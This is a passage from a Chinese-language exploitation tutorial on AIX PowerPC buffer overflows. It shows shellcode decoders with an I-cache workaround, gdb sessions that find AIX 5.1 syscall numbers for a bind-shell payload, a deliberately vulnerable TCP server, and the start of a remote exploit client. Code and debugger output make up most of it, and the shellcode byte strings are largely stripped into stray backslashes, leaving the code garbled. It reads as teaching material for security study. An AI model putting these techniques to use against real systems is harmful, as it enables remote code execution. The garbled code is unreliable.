\\\

\

\\

\\\

\\

\

\\

// real shellcode

\\\\\

\\

\\;

int main() {

int jump[2]={(int)shellcode,0}; ((*(void (*)())jump)());

}

用gdb调试: (gdb) r

Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault. 0x20000420 in shellcode () (gdb) x/8i $pc-8

0x20000418 : sync 0x2000041c : isync

0x20000420 : addi r3,r3,29 0x20000424 : stw r3,-8(r1) 0x20000428 : stw r5,-4(r1) 0x2000042c : addi r4,r1,-8 0x20000430 : li r2,5

0x20000434 : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq (gdb) x/24x $pc-56

0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101

0x200003f8 : 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae 0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0 0x20000418 : 0x7c0004ac 0x4c00012c 0x3863001d 0x9061fff8 0x20000428 : 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342 0x20000438 : 0x44000002 0x2f62696e 0x2f736800 0x00000000

程序在0x20000420这个地址崩溃了,这个地方的指令是\,正好是真正的shellcode,解码正确,但执行错误。

在0x20000420这个地址下个断点再试:

(gdb) b *0x20000420 Breakpoint 1 at 0x20000420 (gdb) r

The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/san/test

Breakpoint 1, 0x20000420 in shellcode () (gdb) x/8i $pc-8

0x20000418 : sync 0x2000041c : isync

0x20000420 : lfsu f20,-285(r29) 0x20000424 : stw r3,-8(r1)

0x20000428 : stw r5,-4(r1) 0x2000042c : addi r4,r1,-8 0x20000430 : li r2,5

0x20000434 : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq (gdb) x/24x $pc-56

0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101

0x200003f8 : 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae 0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0 0x20000418 : 0x7c0004ac 0x4c00012c 0xc69dfee3 0x9061fff8 0x20000428 : 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342 0x20000438 : 0x44000002 0x2f62696e 0x2f736800 0x00000000 (gdb)

这时可以发现0x20000420这个地址的指令并没有被解码,sync和isync的操作没有效果。

在isync指令的地址下个断点:

(gdb) b *0x2000041c Breakpoint 1 at 0x2000041c (gdb) r

The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/san/test

Breakpoint 1, 0x2000041c in shellcode () (gdb) c Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap. 0x10000100 in ?? () (gdb) c Continuing. $ exit

Program exited normally.

这样执行就一切正常。

我还尝试了很多办法,比如把解码后的shellcode写到离当前地址很远的地方,然后把那个地址保存到lr寄存器,再用blr跳过去执行,种种努力都失败了。

0dd上一个叫phil的朋友提到他在ARM芯片上的一些经验,他说可以通过运行系统调用来刷新I-cache的指令。watercloud也提到这种实现方法。经过测试,这种方法果然可行:

char shellcode[] = // decoder

\\\

\

\\

\\

\\

\\

\

\

\\

// real shellcode

\\\\\\

\\

\\;

int main() {

int jump[2]={(int)shellcode,0}; ((*(void (*)())jump)()); }

-bash-2.05b$ ./test_3 $ id

uid=202(san) gid=1(staff) $ exit -bash-2.05b$

只需在真实的shellcode前面插入一个系统调用(这里使用的是sync的调用号,用其它也可以),系统调用执行完以后会跳到lr寄存器包含的地址执行,这时执行的指令不是缓存的。

七、远程溢出调试

lsd在UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes这份文档里提供了AIX的一系列远程shellcode,由于AIX的系统调用中断号在各系统版本里都是不同的,所以我们需要把它找出来。

一个简单的监听端口的shellcode用C语言表示大致如下:

-bash-2.05b$ cat bind.c #include #include #include #include

int soc,cli,i;

struct sockaddr_in serv_addr;

int main() {

serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0x1234; soc=socket(2,1,0);

bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,5); cli=accept(soc,0,0);

for (i=2;i>=0;i--) { close(i);

kfcntl(cli, 0, i); }

execve(\}

AIX的dup2函数实际上最终调用的还是kfcntl系统调用。编译后,用gdb调试:

-bash-2.05b$ gdb bind GNU gdb 6.1

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \

There is absolutely no warranty for GDB. Type \This GDB was configured as \(gdb) disas main

Dump of assembler code for function main: 0x10000534 : mflr r0

0x10000538 : stw r31,-4(r1) 0x1000053c : stw r0,8(r1) 0x10000540 : stwu r1,-72(r1) 0x10000544 : mr r31,r1 0x10000548 : lwz r9,108(r2) 0x1000054c : li r0,2 0x10000550 : stb r0,1(r9) 0x10000554 : lwz r9,108(r2) 0x10000558 : li r0,0 0x1000055c : stw r0,4(r9) 0x10000560 : lwz r9,108(r2) 0x10000564 : li r0,4660 0x10000568 : sth r0,2(r9) 0x1000056c : li r3,2 0x10000570 : li r4,1 0x10000574 : li r5,0

0x10000578 : bl 0x1000734c 0x1000057c : lwz r2,20(r1) 0x10000580 : mr r0,r3 0x10000584 : lwz r9,112(r2) 0x10000588 : stw r0,0(r9) 0x1000058c : lwz r9,112(r2) 0x10000590 : lwz r3,0(r9) 0x10000594 : lwz r4,108(r2) 0x10000598 : li r5,16

0x1000059c : bl 0x10007448 0x100005a0 : lwz r2,20(r1) 0x100005a4 : lwz r9,112(r2) 0x100005a8 : lwz r3,0(r9) 0x100005ac : li r4,5

0x100005b0 : bl 0x1000746c 0x100005b4 : lwz r2,20(r1) 0x100005b8 : lwz r9,112(r2) 0x100005bc : lwz r3,0(r9) 0x100005c0 : li r4,0 0x100005c4 : li r5,0

0x100005c8 : bl 0x10007394 0x100005cc : lwz r2,20(r1) 0x100005d0 : mr r0,r3 0x100005d4 : lwz r9,116(r2) 0x100005d8 : stw r0,0(r9) 0x100005dc : lwz r9,120(r2) 0x100005e0 : li r0,2 0x100005e4 : stw r0,0(r9) 0x100005e8 : lwz r9,120(r2) 0x100005ec : lwz r0,0(r9) 0x100005f0 : cmpwi r0,0

0x100005f4 : bge- 0x100005fc 0x100005f8 : b 0x10000640 0x100005fc : lwz r9,120(r2) 0x10000600 : lwz r3,0(r9)

0x10000604 : bl 0x100074b4 0x10000608 : lwz r2,20(r1) 0x1000060c : lwz r9,116(r2) 0x10000610 : lwz r11,120(r2) 0x10000614 : lwz r3,0(r9) 0x10000618 : li r4,0 0x1000061c : lwz r5,0(r11)

0x10000620 : bl 0x100074d8 0x10000624 : lwz r2,20(r1) 0x10000628 : lwz r11,120(r2) 0x1000062c : lwz r9,120(r2) 0x10000630 : lwz r9,0(r9) 0x10000634 : addi r0,r9,-1 0x10000638 : stw r0,0(r11)

0x1000063c : b 0x100005e8 0x10000640 : lwz r3,124(r2) 0x10000644 : li r4,0 0x10000648 : li r5,0

0x1000064c : bl 0x10007328 0x10000650 : lwz r2,20(r1) 0x10000654 : mr r3,r0 0x10000658 : lwz r1,0(r1) 0x1000065c : lwz r0,8(r1) 0x10000660 : mtlr r0

0x10000664 : lwz r31,-4(r1) 0x10000668 : blr 0x1000066c : .long 0x0 0x10000670 : .long 0x2061 0x10000674 : lwz r0,1(r1)

0x10000678 : .long 0x138 0x1000067c : .long 0x46d61 0x10000680 : xori r14,r11,7936 End of assembler dump.

gdb能够显示各函数的入口地址,我们在这些入口地址分别下断点:

(gdb) b *0x1000734c Breakpoint 1 at 0x1000734c (gdb) b *0x10007448 Breakpoint 2 at 0x10007448 (gdb) b *0x1000746c Breakpoint 3 at 0x1000746c (gdb) b *0x10007394 Breakpoint 4 at 0x10007394 (gdb) b *0x100074b4 Breakpoint 5 at 0x100074b4 (gdb) b *0x100074d8 Breakpoint 6 at 0x100074d8 (gdb) b *0x10007328 Breakpoint 7 at 0x10007328

下完断点后运行,gdb会在各函数里停下,这时我们就可以查看它的系统调用号。如果是包裹函数,一直用si单步执行下去,就能看到该函数最终实际调用的系统中断。 (gdb) r

Starting program: /home/san/bind

Breakpoint 1, 0x1000734c in socket () (gdb) x/8i $pc

0x1000734c : lwz r12,4(r2) 0x10007350 : stw r2,20(r1) 0x10007354 : lwz r0,0(r12) 0x10007358 : lwz r2,4(r12) 0x1000735c : mtctr r0 0x10007360 : bctr 0x10007364 : .long 0x0 0x10007368 : .long 0xc8000 (gdb) si

0x10007350 in socket () (gdb)

0x10007354 in socket () (gdb)

0x10007358 in socket ()

(gdb)

0x1000735c in socket () (gdb) p/x $r2 $1 = 0x8d (gdb) c Continuing.

Breakpoint 2, 0x10007448 in bind () (gdb) x/8i $pc

0x10007448 : lwz r12,32(r2) 0x1000744c : stw r2,20(r1) 0x10007450 : lwz r0,0(r12) 0x10007454 : lwz r2,4(r12) 0x10007458 : mtctr r0 0x1000745c : bctr 0x10007460 : .long 0x0 0x10007464 : .long 0xc8000 (gdb) si

0x1000744c in bind () (gdb)

0x10007450 in bind () (gdb)

0x10007454 in bind () (gdb)

0x10007458 in bind () (gdb) p/x $r2 $2 = 0x8c (gdb) c Continuing.

Breakpoint 3, 0x1000746c in listen () (gdb) x/8i $pc

0x1000746c : lwz r12,36(r2) 0x10007470 : stw r2,20(r1) 0x10007474 : lwz r0,0(r12) 0x10007478 : lwz r2,4(r12) 0x1000747c : mtctr r0 0x10007480 : bctr 0x10007484 : .long 0x0 0x10007488 : .long 0xc8000 (gdb) si

0x10007470 in listen () (gdb)

0x10007474 in listen ()

(gdb)

0x10007478 in listen () (gdb)

0x1000747c in listen () (gdb) p/x $r2 $5 = 0x8b (gdb) c Continuing.

Breakpoint 4, 0x10007394 in naccept () (gdb) x/8i $pc

0x10007394 : lwz r12,12(r2) 0x10007398 : stw r2,20(r1) 0x1000739c : lwz r0,0(r12) 0x100073a0 : lwz r2,4(r12) 0x100073a4 : mtctr r0 0x100073a8 : bctr 0x100073ac : .long 0x0 0x100073b0 : .long 0xc8000 (gdb) si

0x10007398 in naccept () (gdb)

0x1000739c in naccept () (gdb)

0x100073a0 in naccept () (gdb)

0x100073a4 in naccept () (gdb) p/x $r2 $6 = 0x8a (gdb) c Continuing.

Breakpoint 5, 0x100074b4 in close () (gdb) x/8i $pc

0x100074b4 : lwz r12,44(r2) 0x100074b8 : stw r2,20(r1) 0x100074bc : lwz r0,0(r12) 0x100074c0 : lwz r2,4(r12) 0x100074c4 : mtctr r0 0x100074c8 : bctr 0x100074cc : .long 0x0 0x100074d0 : .long 0xc8000 (gdb) si

0x100074b8 in close ()

(gdb)

0x100074bc in close () (gdb)

0x100074c0 in close () (gdb)

0x100074c4 in close () (gdb) p/x $r2 $7 = 0xa0 (gdb) c Continuing.

Breakpoint 6, 0x100074d8 in kfcntl () (gdb) x/8i $pc

0x100074d8 : lwz r12,48(r2) 0x100074dc : stw r2,20(r1) 0x100074e0 : lwz r0,0(r12) 0x100074e4 : lwz r2,4(r12) 0x100074e8 : mtctr r0 0x100074ec : bctr 0x100074f0 : .long 0x0 0x100074f4 : .long 0xc8000 (gdb) si

0x100074dc in kfcntl () (gdb)

0x100074e0 in kfcntl () (gdb)

0x100074e4 in kfcntl () (gdb)

0x100074e8 in kfcntl () (gdb) p/x $r2 $1 = 0x142 (gdb) c Continuing.

Breakpoint 7, 0x10007328 in execve () (gdb) x/8i $pc

0x10007328 : lwz r12,0(r2) 0x1000732c : stw r2,20(r1) 0x10007330 : lwz r0,0(r12) 0x10007334 : lwz r2,4(r12) 0x10007338 : mtctr r0 0x1000733c : bctr 0x10007340 : .long 0x0

0x10007344 : .long 0xc8000 (gdb) si

0x1000732c in execve () (gdb)

0x10007330 in execve () (gdb)

0x10007334 in execve () (gdb)

0x10007338 in execve () (gdb) p/x $r2 $9 = 0x5

好了,现在我们找出在AIX 5.1下我们需要系统调用中断号的值:

socket=0x8d bind=0x8c listen=0x8b naccept=0x8a close=0xa0 kfcntl=0x142 execve=0x05

lsd已经把功能都实现了,我们只需做少许的修改:

char lsd[] =

\ \ \ \ \ \ \ \

\ \ \ /* listen=0x8b naccept=0x8a */ /* kfcntl=0x142 */

\ \ \

\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \

\

\ \ \ \ \ \ \ \ \ \ \ \;

int main() {

int jump[2]={(int)lsd,0}; ((*(void (*)())jump)()); }

有了可用的shellcode,那么可以尝试一下远程溢出的示例了:

/* server.c - overflow demo *

* 2004.06.16 * san@nsfocus.com */

#include #include #include #include

char Buff[1024];

void overflow(char * s,int size) {

char s1[50];

printf(\ s[size]=0; //strcpy(s1,s); memcpy(s1, s, size);

sync(); // 溢出后必须有一些操作产生系统调用,否则直接返回后又会碰到I-cache的问题,shellcode是无法执行的 }

int main(int argc, char *argv[]) {

int s, c, ret, lBytesRead; struct sockaddr_in srv;

s = socket(AF_INET, SOCK_STREAM, 0); srv.sin_addr.s_addr = INADDR_ANY; srv.sin_port = htons(4444); srv.sin_family = AF_INET;

bind(s, &srv, sizeof(srv)); listen(s, 3);

c = accept(s,NULL,NULL);

while(1) {

lBytesRead = recv(c, Buff, 1024, 0); if(lBytesRead<=0) break;

printf(\ overflow(Buff, lBytesRead);

ret=send(c,Buff,lBytesRead,0); if(ret<=0) break; }

close(s); close(c); }

远程溢出的调试和本地没有什么两样,关键是找到溢出点,远程溢出可能需要构造古怪的数据包来溢出服务程序。返回地址和需要覆盖的缓冲区大小可以用gdb调试出来,在一个终端用gdb加载server或者attach也行:

-bash-2.05b$ gdb server GNU gdb 6.1

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \

There is absolutely no warranty for GDB. Type \This GDB was configured as \(gdb) r

Starting program: /home/san/server

客户端连接服务,并且发送数据来让服务端崩溃:

-bash-2.05b$ telnet localhost 4444 Trying...

Connected to localhost. Escape character is '^]'.

ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD 服务端:

Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) x/8x $r1

0x2ff22b58: 0x41424344 0x41424344 0x41424344 0x0d0a6648 0x2ff22b68: 0x00000000 0x20001000 0x20001110 0x0000005e

只需把崩溃时r1+8的内容覆盖即可,这就是函数返回后lr寄存器的值,程序会跳入这个地址,这在前面第四节学习AIX PowerPC的溢出技术时已经提到过。这时寄存器的值:

(gdb) i reg

r0 0x41424344 1094861636 r1 0x2ff22b58 804399960 r2 0x20001000 536875008 r3 0x1757180 24473984 r4 0x0 0

r5 0x2ff22ffc 804401148 r6 0xd032 53298 r7 0x0 0

r8 0x60000000 1610612736 r9 0x600045f0 1610630640 r10 0x0 0

r11 0x60003bca 1610628042 r12 0x2ff3b400 804500480 r13 0xdeadbeef -559038737 r14 0x1 1

r15 0x2ff22c08 804400136 r16 0x2ff22c10 804400144 r17 0x0 0

r18 0xdeadbeef -559038737 r19 0xdeadbeef -559038737 r20 0xdeadbeef -559038737 r21 0xdeadbeef -559038737

r22 0xdeadbeef -559038737 r23 0xdeadbeef -559038737 r24 0xdeadbeef -559038737 r25 0xdeadbeef -559038737 r26 0xdeadbeef -559038737 r27 0xdeadbeef -559038737 r28 0x20000640 536872512 r29 0x10000000 268435456 r30 0x3 3

r31 0x41424344 1094861636 pc 0x41424344 1094861636 ps 0x4000d032 1073795122 cr 0x2a222828 706881576 lr 0x41424344 1094861636 ctr 0x0 0 xer 0x0 0 fpscr 0x0 0 vscr 0x0 0 vrsave 0x0 0

调试了需要覆盖的缓冲区大小和溢出时缓冲区的地址后,就可以方便的写溢出攻击程序了:

/* client.c - remote overflow demo *

* 2004.06.16 * san@nsfocus.com */

#include #include #include #include #include #include #include #include #include #include #include #include #include

// It needs adjust. #define RET 0x2ff22d88;

unsigned char sh_Buff[] =

\ \ \ \ \ \ \ \

\ \ \ /* listen=0x8b naccept=0x8a */ /* kfcntl=0x142 */

\ \ \

\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \

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